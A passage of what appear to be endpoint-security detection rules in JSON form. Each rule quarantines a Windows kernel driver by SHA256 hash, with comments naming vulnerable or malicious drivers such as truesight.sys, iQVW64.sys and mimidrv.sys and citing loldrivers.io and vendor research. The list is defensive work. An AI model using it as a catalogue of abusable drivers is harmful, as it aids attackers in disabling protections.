+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479634Z",
+  "creation_date": "2026-03-23T11:45:31.479638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4eecc35524994dc1aa9a21aeb84d3f46463308ea7fb711ec7d7740727c470aae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "696c56bf-a3d4-51e1-9e39-72e65068399b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830752Z",
+  "creation_date": "2026-03-23T11:45:30.830755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "902b3541c697eb5240438850e952dea654b9d4cbb27f1883f642b41da1ce9fd4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6978114d-3277-5a29-baba-fe59139a80e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148834Z",
+  "creation_date": "2026-03-23T11:45:31.148836Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148841Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27ec6df3c20c75a5fda013b1454eec3a5732e3abc6e272e306c86be0b41afaf4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "697a50bf-e127-5784-9625-795b96f3c50c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150755Z",
+  "creation_date": "2026-03-23T11:45:31.150758Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ff1f634c99c0e83bcde4f09c567d42d506619e52a032988963324927e6812cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6985fa03-155e-5140-9019-e4539a2bec00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972388Z",
+  "creation_date": "2026-03-23T11:45:29.972390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972395Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83aad7f91c4ebec89fb63e60ccc05628281aa0439362097bd91c69f4b74470bb",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6995d290-c9be-5c6a-82f3-1e96964c8ea4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814575Z",
+  "creation_date": "2026-03-23T11:45:31.814577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47337163257da1cb0bd32096b8839f15cf41779e13eba540c9b993e011e186e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "699c3610-d557-5951-8adb-cdcf28d2c4e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834638Z",
+  "creation_date": "2026-03-23T11:45:30.834641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834650Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73e1bc654fe12c42b4f16a4e5294e2a8087e203447c9ee7357e32fa4fd0bd0c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69ab438e-c7ea-598c-b39e-cff947f039ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153119Z",
+  "creation_date": "2026-03-23T11:45:31.153122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "556266d9e0ae434c1f5a96ef2dc3d5acc07f2c618f398c0c257fa20448ad978f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69b46593-d590-5f1a-a8ff-8e4acb3441ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159122Z",
+  "creation_date": "2026-03-23T11:45:31.159124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe6557bc353476efb85bf7e5d4cb864c2a0ed1caca36d6c4f6538fd96ee4ee24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69b7f788-6fdc-51ca-a1c0-948af80233d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809469Z",
+  "creation_date": "2026-03-23T11:45:31.809471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3e5821f204424581ca926b85c708e35399f6e959d51e9df0a2e4be5d9f7cca6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69c75ef9-497d-5b6c-9f64-a9b3f1a323a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149753Z",
+  "creation_date": "2026-03-23T11:45:31.149755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e11a002974e08ff480342e530fa5848fc8235ff1168286701a74080ead79262e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69c76cec-67d2-5fea-aef7-2c6dc11c2151",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979291Z",
+  "creation_date": "2026-03-23T11:45:29.979293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4ca4a0932afa09e8df3469768f5ac6feaff2b7ae27ac208a218288fc4fbf102",
+  "comment": "Vulnerable Kernel Driver (aka d.sys) [https://www.loldrivers.io/drivers/7a7630d6-d007-4d84-a17d-81236d9693e1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69cb304d-3073-5f46-9589-56fa758a8789",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823601Z",
+  "creation_date": "2026-03-23T11:45:31.823603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe1d76944b23d7ddc313ff2c1becc62e9b58cb325b8aa2fae960e22cd7eef0e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69cd690a-8ca9-574a-a00b-20eb4c215ba4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481841Z",
+  "creation_date": "2026-03-23T11:45:30.481843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00c3e86952eebb113d91d118629077b3370ebc41eeacb419762d2de30a43c09c",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69ce4409-7199-5729-8dac-0e86195c4951",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980396Z",
+  "creation_date": "2026-03-23T11:45:29.980398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d59cc3765a2a9fa510273dded5a9f9ac5190f1edf24a00ffd6a1bbd1cb34c757",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69d0b8e8-800a-5c84-9111-25de8534f9f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835610Z",
+  "creation_date": "2026-03-23T11:45:30.835612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835617Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d660d8f547ba9791500e2a36a7091142ad565291fadae767a4cdf55e4dfc962",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69d6419e-92a2-51d9-93cc-4ce9b1452052",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159993Z",
+  "creation_date": "2026-03-23T11:45:31.159996Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f365cb2c6488bcd20faa434f9f4abaab59360bd2dfb8f484c893ae66f505b6fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69de5ba6-9be5-51c7-a09b-85aa3fda42d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621054Z",
+  "creation_date": "2026-03-23T11:45:29.621056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2b37ef379ada79d2abe78375312bfcd4b518139bc525a522c2a6329ba097cc4",
+  "comment": "Fujitsu Vulnerable Physmem drivers (aka ADV64DRV.sys) [https://www.loldrivers.io/drivers/24fb7bab-b8c3-46ea-a370-c84d2f0ff614/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69dee7f2-7df0-55a0-9c9d-475c79bd56ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153631Z",
+  "creation_date": "2026-03-23T11:45:31.153633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "209e1456e53179a845a26b4a065aa3c599d62e661f2333fa7c25ec62d22328f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69dfec27-d554-5c70-b04f-c8c2152cd167",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984954Z",
+  "creation_date": "2026-03-23T11:45:29.984957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3171d7af852e8b6be4651c415ea9490568475c45ecaa02a33dda9babb1643b07",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69eb0700-763f-5e83-b7ae-70c29e868481",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827682Z",
+  "creation_date": "2026-03-23T11:45:30.827684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "154edec7928d9b616d12bbdc35f9b2b67b9591f9de4129f41b87f9868868110e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "69f8bad3-7f18-5ccb-9af6-b3a9f764a5ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466242Z",
+  "creation_date": "2026-03-23T11:45:30.466245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7824931e55249a501074a258b4f65cd66157ee35672ba17d1c0209f5b0384a28",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a0ab366-74ee-52a6-8050-40b6a8b23686",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967763Z",
+  "creation_date": "2026-03-23T11:45:29.967765Z",
+  "enabled": true,
+  "block_on_agent": true,
